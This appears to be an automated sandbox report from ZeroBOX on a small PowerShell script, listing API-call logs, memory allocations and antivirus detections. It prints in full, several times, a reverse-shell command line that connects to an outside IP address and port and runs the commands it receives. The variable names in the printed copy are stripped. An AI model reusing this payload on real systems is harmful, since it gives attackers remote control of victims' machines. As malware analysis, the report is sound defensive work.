Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	April 26, 2023, 9:46 a.m.	April 26, 2023, 9:48 a.m.

Size	948.0B
Type	ASCII text, with very long lines
MD5	`641680e7fec9daae06d736941db655d1`
SHA256	`fc9da60ea75819923b8a947dfe2ac25422bc534ae45b680bb8b177cb2e90415d`
CRC32	`72C409E9`
ssdeep	`24:e+u+mo1F1WxRwYylHPz/nMFMTA7voli5E7SUva:eDobUXw9RLMDQl57SUy`
Yara	None matched

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\tryme.ps1
880
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -W hidden -noni -ep bypass -c " = New-Object Net.Sockets.TCPClient('198.58.102.19', 9333); = .GetStream(); = New-Object Net.Security.SslStream(,False,({True} -as [Net.Security.RemoteCertificateValidationCallback]));.AuthenticateAsClient('cloudflare-dns.com',,False);if(!.IsEncrypted -or !.IsSigned) {.Close();exit} = New-Object IO.StreamWriter();function WriteToStream () {[byte[]] = 0...ReceiveBufferSize | % {0};.Write( + 'SHELL> ');.Flush()};WriteToStream '';while(( = .Read(, 0, .Length)) -gt 0) { = ([text.encoding]::UTF8).GetString(, 0, - 1); = try {Invoke-Expression 2>&1 | Out-String} catch { | Out-String}WriteToStream ()}.Close()"
  2188

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
164.124.101.2	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (6 events)

Time & API	Arguments	Status	Return
GetComputerNameW April 26, 2023, 9:46 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 26, 2023, 9:46 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 26, 2023, 9:46 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 26, 2023, 9:46 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA April 26, 2023, 9:46 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 26, 2023, 9:46 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent April 26, 2023, 9:46 a.m.			0	0

Command line console output was observed (13 events)

Time & API	Arguments	Status	Return
WriteConsoleW April 26, 2023, 9:46 a.m.	buffer: An expression was expected after '('. console_handle: 0x00000023	1	1
WriteConsoleW April 26, 2023, 9:46 a.m.	buffer: At line:1 char:74 console_handle: 0x0000002f	1	1
WriteConsoleW April 26, 2023, 9:46 a.m.	buffer: + = New-Object Net.Sockets.TCPClient('198.58.102.19', 9333); = .GetStream( <<< console_handle: 0x0000003b	1	1
WriteConsoleW April 26, 2023, 9:46 a.m.	buffer: < ); = New-Object Net.Security.SslStream(,False,({True} -as [Net.Security.Remot console_handle: 0x00000047	1	1
WriteConsoleW April 26, 2023, 9:46 a.m.	buffer: eCertificateValidationCallback]));.AuthenticateAsClient('cloudflare-dns.com',,F console_handle: 0x00000053	1	1
WriteConsoleW April 26, 2023, 9:46 a.m.	buffer: alse);if(!.IsEncrypted -or !.IsSigned) {.Close();exit} = New-Object IO.StreamWr console_handle: 0x0000005f	1	1
WriteConsoleW April 26, 2023, 9:46 a.m.	buffer: iter();function WriteToStream () {[byte[]] = 0...ReceiveBufferSize \| % {0};.Wri console_handle: 0x0000006b	1	1
WriteConsoleW April 26, 2023, 9:46 a.m.	buffer: te( + 'SHELL> ');.Flush()};WriteToStream '';while(( = .Read(, 0, .Length)) -gt console_handle: 0x00000077	1	1
WriteConsoleW April 26, 2023, 9:46 a.m.	buffer: 0) { = ([text.encoding]::UTF8).GetString(, 0, - 1); = try {Invoke-Expression console_handle: 0x00000083	1	1
WriteConsoleW April 26, 2023, 9:46 a.m.	buffer: 2>&1 \| Out-String} catch { \| Out-String}WriteToStream ()}.Close() console_handle: 0x0000008f	1	1
WriteConsoleW April 26, 2023, 9:46 a.m.	buffer: + CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordEx console_handle: 0x0000009b	1	1
WriteConsoleW April 26, 2023, 9:46 a.m.	buffer: ception console_handle: 0x000000a7	1	1
WriteConsoleW April 26, 2023, 9:46 a.m.	buffer: + FullyQualifiedErrorId : ExpectedExpression console_handle: 0x000000b3	1	1

Uses Windows APIs to generate a cryptographic key (44 events)

Time & API	Arguments	Status	Return
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519340 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519480 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519480 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519480 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00518c00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00518c00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00518c00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00518c00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00518c00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00518c00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519480 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519480 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519480 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519700 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519700 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519700 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519080 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519700 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519700 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519700 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519700 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519700 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519700 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519700 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519900 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519900 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519900 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519900 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519900 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519900 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519900 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519900 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519900 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519900 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519900 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519900 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519900 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519900 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519380 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519380 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519380 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519380 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519380 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 26, 2023, 9:46 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00519380 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx April 26, 2023, 9:46 a.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 144 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 880 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024cb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 880 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024df000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 880 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024a9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 1835008 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02750000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0255a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02552000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02562000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028d1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02563000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02564000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0255b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02565000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025cc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02980000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02566000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04af0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04af1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04af2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04af3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04af4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04af5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04af6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04af7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04af8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04af9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04afa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04afb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04afc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04afd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04afe000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04aff000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 26, 2023, 9:46 a.m.	process_identifier: 2188 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b01000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (1 event)

cmdline

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -W hidden -noni -ep bypass -c " = New-Object Net.Sockets.TCPClient('198.58.102.19', 9333); = .GetStream(); = New-Object Net.Security.SslStream(,False,({True} -as [Net.Security.RemoteCertificateValidationCallback]));.AuthenticateAsClient('cloudflare-dns.com',,False);if(!.IsEncrypted -or !.IsSigned) {.Close();exit} = New-Object IO.StreamWriter();function WriteToStream () {[byte[]] = 0...ReceiveBufferSize | % {0};.Write( + 'SHELL> ');.Flush()};WriteToStream '';while(( = .Read(, 0, .Length)) -gt 0) { = ([text.encoding]::UTF8).GetString(, 0, - 1); = try {Invoke-Expression 2>&1 | Out-String} catch { | Out-String}WriteToStream ()}.Close()"

File has been identified by 7 AntiVirus engines on VirusTotal as malicious (7 events)

Sangfor	Backdoor.Generic-PS.Save.2630ac2d
ESET-NOD32	PowerShell/ReverseShell.DD
Kaspersky	HEUR:Backdoor.PowerShell.RShell.gen
Sophos	Troj/PSShell-B
ZoneAlarm	HEUR:Backdoor.PowerShell.RShell.gen
Microsoft	Trojan:PowerShell/ReverseShell.SA
Google	Detected

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW April 26, 2023, 9:46 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

One or more non-whitelisted processes were created (1 event)

parent_process

powershell.exe

martian_process

Creates a suspicious Powershell process (4 events)

